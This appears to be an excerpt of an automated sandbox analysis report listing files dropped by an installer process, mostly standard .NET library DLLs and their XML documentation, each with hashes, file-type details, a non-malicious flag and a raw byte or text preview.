                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ....................................@..................................B..O....`..@...............x#...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*B.....(.........*R.....(...+%-.&(!...*^.....("....(...+&~....*.s$...*"..s%...*..(&...*.*....0......................
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (727), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:1C55860DD93297A6EA2FAD2974834C3A
                                                                        SHA1:7F4069341C6B62ECFC999A6C2D8A2D5FB59D44F6
                                                                        SHA-256:2EC7FB12E11F9831E40524427F6D88A3C9FFDD56CCFA81D373467B75B479A578
                                                                        SHA-512:37FA5D4553CA3165F10E2FFEF38FEFC0DBA4A2DBFA05AB9F09AB87B5F71F30E6D965D2F833F58B50B3BC2529EBE8FB5CC431C264F7B47AD026F5C5A874A6ADA1
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Buffers</name>.. </assembly>.. <members>.. <member name="T:System.Buffers.ArrayPool`1">.. <summary>Provides a resource pool that enables reusing instances of type <see cref="T[]"></see>.</summary>.. <typeparam name="T">The type of the objects that are in the resource pool.</typeparam>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.#ctor">.. <summary>Initializes a new instance of the <see cref="T:System.Buffers.ArrayPool`1"></see> class.</summary>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.Create">.. <summary>Creates a new instance of the <see cref="T:System.Buffers.ArrayPool`1"></see> class.</summary>.. <returns>A new instance of the <see cref="System.Buffers.ArrayPool`1"></see> class.</returns>.. </member>.. <member name="M:System.Buffers.ArrayPool`1.Create(System.Int32,System.Int32)">.. <summary>Creates a new instance of the <see
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:6FB95A357A3F7E88ADE5C1629E2801F8
                                                                        SHA1:19BF79600B716523B5317B9A7B68760AE5D55741
                                                                        SHA-256:8E76318E8B06692ABF7DAB1169D27D15557F7F0A34D36AF6463EFF0FE21213C7
                                                                        SHA-512:293D8C709BC68D2C980A0DF423741CE06D05FF757077E63986D34CB6459F9623A024D12EF35A280F50D3D516D98ABE193213B9CA71BFDE2A9FE8753B1A6DE2F0
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0.................. ... ....... .......................`............@.................................X...O.... ..0................#...@...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....((...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o)....{....(a...*..(....zN........o*...s+...*.(....z.s,...*..(....zF(U....(O...s-...*.(....z.(V...s-...*.(....z.s....*.(....z.s/...*..(....zN........o*...s0...*.(....zrr...p(\....c.K...(O...s1...*.(....zBr...p(Y...s1...*.(....z.s2...*.(....z.(X...s3...*.(!...z.(_...s3...*.(#...z
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ADD19745A43B2515280CE24671863114
                                                                        SHA1:CF44E6557FDE93288FF2567A002A69279965CABA
                                                                        SHA-256:D5714C96607EB1A9D0F90F57CA194D8A9C3EDE0656A1D1F461E78B209F054813
                                                                        SHA-512:8D7E564FA61411B5C28F29B07855DD112687EDCB39B991803C7C7DE67B6894B309102AC9B52409B56B7BB5C9101EB4CDFB21FCFBF5D835E4A153E188CB97CC87
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Memory</name>.. </assembly>.. <members>.. <member name="T:System.Span`1">.. <typeparam name="T"></typeparam>.. </member>.. <member name="M:System.Span`1.#ctor(`0[])">.. <param name="array"></param>.. </member>.. <member name="M:System.Span`1.#ctor(System.Void*,System.Int32)">.. <param name="pointer"></param>.. <param name="length"></param>.. </member>.. <member name="M:System.Span`1.#ctor(`0[],System.Int32)">.. <param name="array"></param>.. <param name="start"></param>.. </member>.. <member name="M:System.Span`1.#ctor(`0[],System.Int32,System.Int32)">.. <param name="array"></param>.. <param name="start"></param>.. <param name="length"></param>.. </member>.. <member name="M:System.Span`1.Clear">.. .. </member>.. <member name="M:System.Span`1.CopyTo(System.Span{`0})">.. <param name="destination"></param>.. </mem
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:AAA2CBF14E06E9D3586D8A4ED455DB33
                                                                        SHA1:3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0
                                                                        SHA-256:1D3EF8698281E7CF7371D1554AFEF5872B39F96C26DA772210A33DA041BA1183
                                                                        SHA-512:0B14A039CA67982794A2BB69974EF04A7FBEE3686D7364F8F4DB70EA6259D29640CBB83D5B544D92FA1D3676C7619CD580FF45671A2BB4753ED8B383597C6DA8
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0..v............... ........... ..............................DF....@.................................f...O........................>.......................................................... ............... ..H............text....u... ...v.................. ..`.rsrc................x..............@..@.reloc..............................@..B........................H........Q..|?..........$... ...D.........................................(....*&.l(....k*&.l(....k*..l.l(....k*..l.l(....k*&.l(....k*&.l(....k*&.l(....k*j~....%-.&(....s....%.....*..*.0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2rG..p.(....*2r...p.(....*2r...p.(.
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:95DD29CA17B63843AD787D3BC9C8C933
                                                                        SHA1:1A937009A92B034EDB168CFAC0EC1C353BE8F58E
                                                                        SHA-256:AE2C3DE9AD57D7091D9F44DCDEE3F88ECCF2BA7CB43ADC9BB24769154A532DC7
                                                                        SHA-512:8E9397816D3435CCF79F1BF07B482473A7DD3B570BCE003639F2E9FA1C5FE31C4B9400B68F191A36251A59C0253EF9E09039FDD63BA2205D379B3C582E603499
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Numerics.Vectors</name>.. </assembly>.. <members>.. <member name="T:System.Numerics.Matrix3x2">.. <summary>Represents a 3x2 matrix.</summary>.. </member>.. <member name="M:System.Numerics.Matrix3x2.#ctor(System.Single,System.Single,System.Single,System.Single,System.Single,System.Single)">.. <summary>Creates a 3x2 matrix from the specified components.</summary>.. <param name="m11">The value to assign to the first element in the first row.</param>.. <param name="m12">The value to assign to the second element in the first row.</param>.. <param name="m21">The value to assign to the first element in the second row.</param>.. <param name="m22">The value to assign to the second element in the second row.</param>.. <param name="m31">The value to assign to the first element in the third row.</param>.. <param name="m32">The value to assign to the second element in th
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:9A341540899DCC5630886F2D921BE78F
                                                                        SHA1:BAB44612721C3DC91AC3D9DFCA7C961A3A511508
                                                                        SHA-256:3CADCB6B8A7335141C7C357A1D77AF1FF49B59B872DF494F5025580191D1C0D5
                                                                        SHA-512:066984C83DE975DF03EEE1C2B5150C6B9B2E852D9CAF90CFD956E9F0F7BD5A956B96EA961B26F7CD14C089BC8A27F868B225167020C5EB6318F66E58113EFA37
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....._...........!.................3... ...@....@.. ..............................t@....@.................................@3..K....@...................#...`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p3......H........$..0...................P ......................................._.%c......=.n')...(v..:}.d...3...B...).. .:Q(....L.jt....}Xv.b7y0r.[..$.....q..c.6.....p..2..qHv/.pb.=..9.o"z.. 0P.t%H....U...0...........q....*..0..............q....*...0..............q....*...0.................*.0....................*..0....................*..0............q.........*....0............q.........*....0............*..0..........*....0................*..0...............*...0..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:AA2CB9BA14481A623EE20F821CF5D180
                                                                        SHA1:8B27D2B07845A94AA7741093E8A4D6D2E7B768DF
                                                                        SHA-256:A22E09986A09839DC697F13D76AADED6008001F3632986ACAEBC29F8EF489B82
                                                                        SHA-512:3E9E3118FA34EE04E3F9C3E9737493FEFB5AABB42BD0114285AEC948C57A60235979BAFFA1EE7BAAE9AE87D81C551ACD3C6A416BBD2CFD4C9F68766745ED65EC
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Runtime.CompilerServices.Unsafe</name>.. </assembly>.. <members>.. <member name="T:System.Runtime.CompilerServices.Unsafe">.. <summary>Contains generic, low-level functionality for manipulating pointers.</summary>.. </member>.. <member name="M:System.Runtime.CompilerServices.Unsafe.Add``1(``0@,System.Int32)">.. <summary>Adds an element offset to the given reference.</summary>.. <param name="source">The reference to add the offset to.</param>.. <param name="elementOffset">The offset to add.</param>.. <typeparam name="T">The type of reference.</typeparam>.. <returns>A new reference that reflects the addition of offset to pointer.</returns>.. </member>.. <member name="M:System.Runtime.CompilerServices.Unsafe.Add``1(``0@,System.IntPtr)">.. <summary>Adds an element offset to the given reference.</summary>.. <param name="source">The reference to add the of
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E8CDACFD2EF2F4B3D1A8E6D59B6E3027
                                                                        SHA1:9A85D938D8430A73255A65EA002A7709C81A4CF3
                                                                        SHA-256:EDF13EBF2D45152E26A16B947CD953AEB7A42602FA48E53FD7673934E5ACEA30
                                                                        SHA-512:EE1005270305B614236D68E427263B4B4528AD3842057670FAD061867286815577EC7D3ED8176E6683D723F9F592ABCBF28D24935CE8A34571AB7F1720E2FFC5
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&gY..........." ..0.............2.... ........... .......................@............`.....................................O.......................x#... ..........T............................................ ............... ..H............text...8.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........`..,t..................t.........................................(%...*..(%...*..(%...*^.(%......4...%...}....*:.(%.....}....*:.(%.....}....*:.(%.....}....*....0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R*....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S*..0..&.........+....((...G...Z.(......X....()...2.*...0....................().....1...()....Z.6.....(...+.+...()....Z........s+..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (347), with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ACC8AF8D28DC65488D1C49DEFD8EA153
                                                                        SHA1:1EECE92A2F2E40DE4AFB43F7A5CAEC9A3B384B87
                                                                        SHA-256:0772B7895A1FEA1D3BBEE2ED2F5200EF4F9EB38B22C3D00B5405325BE9D8A7CD
                                                                        SHA-512:452669AFF783AC248394838083695BD6CE45CB1B41FC512C7F3C7039D49D9E40C24F51A2255BAE3AC6F2E01388A54EC1F17092566CE808C70F3FC599ADA9734A
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Text.Encodings.Web</name>.. </assembly>.. <members>.. <member name="T:System.Text.Encodings.Web.HtmlEncoder">.. <summary>Represents an HTML character encoding.</summary>.. </member>.. <member name="M:System.Text.Encodings.Web.HtmlEncoder.#ctor">.. <summary>Initializes a new instance of the <see cref="T:System.Text.Encodings.Web.HtmlEncoder" /> class.</summary>.. </member>.. <member name="M:System.Text.Encodings.Web.HtmlEncoder.Create(System.Text.Encodings.Web.TextEncoderSettings)">.. <summary>Creates a new instance of the HtmlEncoder class with the specified settings.</summary>.. <param name="settings">Settings that control how the <see cref="T:System.Text.Encodings.Web.HtmlEncoder" /> instance encodes, primarily which characters to encode.</param>.. <exception cref="T:System.ArgumentNullException">.. <paramref name="settings" /> is <see langword="null" />.<
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:38470CA21414A8827C24D8FE0438E84B
                                                                        SHA1:1C394A150C5693C69F85403F201CAA501594B7AB
                                                                        SHA-256:2C7435257690AC95DC03B45A236005124097F08519ADF3134B1D1ECE4190E64C
                                                                        SHA-512:079F7320CC2F3B97A5733725D3B13DFF17B595465159DAABCA5A166D39777100E5A2D9AF2A75989DFABDB2F29EAC0710E16C3BB2660621344B7A63C5DBB87EF8
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..@...........\... ...`....... ..............................84....`.................................Y\..O....`..d............J...#...........[..T............................................ ............... ..H............text....?... ...@.................. ..`.rsrc...d....`.......B..............@..@.reloc...............H..............@..B.................\......H..........t...........@....Y...[........................................(%...*..(%...*..(%...*^.(%..........%...}....*:.(%.....}....*:.(%.....}....*:.(%.....}....*....0..E........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X(&.....R...(&.....d.R*....0..K........ ...._.b..._X ....Y..e pp.._.d.X ....X.`.....X('.... ...._.S...('.....d.S*..0..&.........+....((...G...Z.(......X....()...2.*...0..............?.....().....1...()....Z.......(...+.+...()....Z........s+..............
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:FED072426E07DBC27A1D734D99526654
                                                                        SHA1:2282862D21FDC500CF34CD20B928E8888D662FD0
                                                                        SHA-256:DDA6AE13AA1736B29AC98109B7334D70081DD907A7AD6890C265A552D2DA03B6
                                                                        SHA-512:1BB6637C06681BC44BD2599BAFF3998F260242A0E2BD2B11FE81D91A7857B80DCF2B3608BAA09AB3676ACC87A9AF06BAA78C9077CEAD8FCC50F22A55A508C08D
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?>..<doc>.. <assembly>.. <name>System.Text.Json</name>.. </assembly>.. <members>.. <member name="T:System.Text.Json.JsonCommentHandling">.. <summary>Defines how the <see cref="T:System.Text.Json.Utf8JsonReader" /> struct handles comments.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Allow">.. <summary>Allows comments within the JSON input and treats them as valid tokens. While reading, the caller can access the comment values.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Disallow">.. <summary>Doesn't allow comments within the JSON input. Comments are treated as invalid JSON if found, and a <see cref="T:System.Text.Json.JsonException" /> is thrown. This is the default value.</summary>.. </member>.. <member name="F:System.Text.Json.JsonCommentHandling.Skip">.. <summary>Allows comments within the JSON input and ignores them. The <see cref="T
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:E1E9D7D46E5CD9525C5927DC98D9ECC7
                                                                        SHA1:2242627282F9E07E37B274EA36FAC2D3CD9C9110
                                                                        SHA-256:4F81FFD0DC7204DB75AFC35EA4291769B07C440592F28894260EEA76626A23C6
                                                                        SHA-512:DA7AB8C0100E7D074F0E680B28D241940733860DFBDC5B8C78428B76E807F27E44D1C5EC95EE80C0B5098E8C5D5DA4D48BCE86800164F9734A05035220C3FF11
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..8...........V... ...`....... ....................................@..................................V..O....`...............B...#..........PU............................................... ............... ..H............text....6... ...8.................. ..`.rsrc........`.......:..............@..@.reloc...............@..............@..B.................V......H........0...$...................T........................................(....*..(....z..(....z2.(....s....*2.(....s....*:........o....*.~....*~.-..(......}......}......}....*~.-..(......}......}......}....*Z..}......}......}....*J.{....%-.&.*o....*^.u....,........(....*.*~.{.....{....3..{.....{......*.*&...(....*2...(.......*....0..'........{......,..u....%-.&..(...+(....*(....*n.{....,..(....s....*.q....*..0..a.........{....o0.....,;..{....o2...(......;...3.~.......s......
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:C89E735FCF37E76E4C3D7903D2111C04
                                                                        SHA1:3C0F1F09C188D8C74B42041004ECE59BBD6F0F56
                                                                        SHA-256:975A9555F561B363C3E02FD533F6BF7083AA11BBC7CBF2B46C31DF3D3696B97B
                                                                        SHA-512:DEBDD8D0ED2FF6AD7B175ACFEB1681B1A68EEEDD6D717E20E6AC5E0D11C13A1219B4D60F9319939C63BF4B53456328531369F4A9FFF5B201475858310E385007
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:.<?xml version="1.0" encoding="utf-8"?><doc>.. <assembly>.. <name>System.Threading.Tasks.Extensions</name>.. </assembly>.. <members>.. <member name="T:System.Runtime.CompilerServices.ValueTaskAwaiter`1">.. <typeparam name="TResult"></typeparam>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.GetResult">.. <returns></returns>.. </member>.. <member name="P:System.Runtime.CompilerServices.ValueTaskAwaiter`1.IsCompleted">.. <returns></returns>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.OnCompleted(System.Action)">.. <param name="continuation"></param>.. </member>.. <member name="M:System.Runtime.CompilerServices.ValueTaskAwaiter`1.UnsafeOnCompleted(System.Action)">.. <param name="continuation"></param>.. </member>.. <member name="T:System.Threading.Tasks.ValueTask`1">.. <summary>Provides a value type that wraps a <see cref="Task{TResult}"></see> and
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:23EE4302E85013A1EB4324C414D561D5
                                                                        SHA1:D1664731719E85AAD7A2273685D77FEB0204EC98
                                                                        SHA-256:E905D102585B22C6DF04F219AF5CBDBFA7BC165979E9788B62DF6DCC165E10F4
                                                                        SHA-512:6B223CE7F580A40A8864A762E3D5CCCF1D34A554847787551E8A5D4D05D7F7A5F116F2DE8A1C793F327A64D23570228C6E3648A541DD52F93D58F8F243591E32
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....?.Z.........." ..0.............b2... ...@....... ...............................H....@..................................2..O....@...............$...>...`......x1............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................B2......H........!..T....................0......................................j~....%-.&(....s....%.....*..*...0..$.........(.....o.......&...,....o....,..*.*..................,!(....,..r...p.(....(....*..(....*.*.(....,.r...p......%...%...(....*..(....*.(....,.r...p......%...%...%...(....*...(....*.(....,!r...p......%...%...%...%...(....*....(....*.~....*2r...p.(....*2r[..p.(....*B.....(.........*.BSJB............v4.0.30319......l...4...#~..........#Strings....t.......#US.@.......
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:B6E60687AE5DB6D011E21E6993620745
                                                                        SHA1:B117C6BBDDC72E7F4B590173992EE17BFDDE4BE1
                                                                        SHA-256:C37E163FA76629C196460C7B4D54E95B1A46A4C66AB7B6F3311959C8137DC5F1
                                                                        SHA-512:709212B6CB36F57B92A82DEF810F9C075A91B3E6A5FD330DCFB563D94A320783509441347D63BDE97F530C6B10CE6AA769CA11F7FC39ACF1B25D5C8F9DCBB389
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:<?xml version="1.0"?>..<doc>.. <assembly>.. <name>System.ValueTuple</name>.. </assembly>.. <members>.. </members>..</doc>..
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):0
                                                                        Entropy (8bit):0.0
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:3AB57A33A6E3A1476695D5A6E856C06A
                                                                        SHA1:DABB4ECFFD0C422A8EEBFF5D4EC8116A6E90D7E7
                                                                        SHA-256:4AACE8C8A330AE8429CD8CC1B6804076D3A9FFD633470F91FD36BDD25BB57876
                                                                        SHA-512:58DBFCF9199D72D370E2D98B8EF2713D74207A597C9494B0ECF5E4C7BF7CF60C5E85F4A92B2A1896DFF63D9D5107F0D81D7DDDBC7203E9E559AB7219ECA0DF92
                                                                        Malicious:false
                                                                        Antivirus:
                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...du.K...........!..................... ........ ;. ....................................@.................................\...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......4O..X`..........xD......P ......................................{c...2......q..Z,.C.....3.n.Z..7....R.....T.{yF")i.$JMv...,a.....U...M:,...Z.Q:..c..N.{....<....h%.....:s..T...Z.gSI.....6.(.....{....*...0..&........(..............s....o.....s....}....*...0..K........(.....{....o........,3..+&..( .........{.....o!............*..X...(....2.*..0..L........{.....o"...,=(#...(..................($...o%.......(&...o%.....('...s(...z*.0...........o).......E............d
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):35840
                                                                        Entropy (8bit):5.673107275613713
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:F526BDF426ADDEC5F78065EB870D9058
                                                                        SHA1:71062E45CC998965E3D0A5B34661E44F30F96938
                                                                        SHA-256:C5BE08CE2FB67A7937669CB878134B2832C725EF8F07DE7577C150EFAAD5D1A2
                                                                        SHA-512:E00AB343CCB7E5D7D2CF6228C028E89D956B2EE4C3B230D2846A9E73E3B9CA57085BB11746E7FFAB50F99A19207E3DFDB96915ECA67C1D3585D338724F7988A4
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....k..........." ..0................. ........... ....................................`.....................................O.......H...............................T............................................ ............... ..H............text....... ...................... ..`.rsrc...H...........................@..@.reloc..............................@..B........................H........S..TL............................................................(....*^.(.......>...%...}....*:.(......}....*:.(......}....*..(....*..(....*..(....*..{....*:.(......}....*..(....*..{....*:.(......}....*..{....*^.(.......?...%...}....*:.(......}....*..{....*..{....*z.(......}.......?...%...}....*V.(......}......}....*..(....*..{....*:.(......}....*..{....*:.(......}....*...0..j........-.r...ps....z.-.r%..ps....z..-.(....-.(....-...%-.&(F...+.(-......-.~.........sf...
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                        Category:dropped
                                                                        Size (bytes):221488
                                                                        Entropy (8bit):5.037441490542759
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:A8A58F5BC41307844089EC33E2439A2C
                                                                        SHA1:8ECCD6B3053A0CF3F4E1E39EC66AFC1EA8C62F74
                                                                        SHA-256:631AB5D05F6AEE6CD78FCA2FBE7507E1D701F37B44758D339DF550130129AEEB
                                                                        SHA-512:ECAC80F44CB85332BE180CAC418EEF521D5C634341989434712D5E52FD9094C463845FF7DD3FCF7B0AE240899A75C00530ADC6BB1B77C201929FC4EE5A8D3B3F
                                                                        Malicious:false
                                                                        Reputation:unknown
                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f;.f.........."...0.............N7... ...@....@.. ..............................D.....`..................................6..O....@...............8..0)...`.......5............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......6..............@..B................07......H........[.. ...........,u................................................{....*..{....*..{....*..{ ...*..(!.....}......}......}.......} ...*....0..q........u........d.,_("....{.....{....o#...,G($....{.....{....o%...,/(&....{.....{....o'...,.((....{ ....{ ...o)...*.*.*....0..b....... vC.. )UU.Z("....{....o*...X )UU.Z($....{....o+...X )UU.Z(&....{....o,...X )UU.Z((....{ ...o-...X*...0...........r...p......%..{.......%q.........-.&.+.......o.....%..{.......%q.........-.&.+.....
                                                                        Process:C:\Users\user\AppData\Local\Temp\is-7IBMG.tmp\HUY.tmp
                                                                        File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                        Category:dropped
                                                                        Size (bytes):13950
                                                                        Entropy (8bit):4.749162715500682
                                                                        Encrypted:false
                                                                        SSDEEP:
                                                                        MD5:ADD19745A43B2515280CE24671863114
                                                                        SHA1:CF44E6557FDE93288FF2567A002A69279965CABA
                                                                        SHA-256:D5714C96607EB1A9D0F90F57CA194D8A9C3EDE0656A1D1F461E78B209F054813
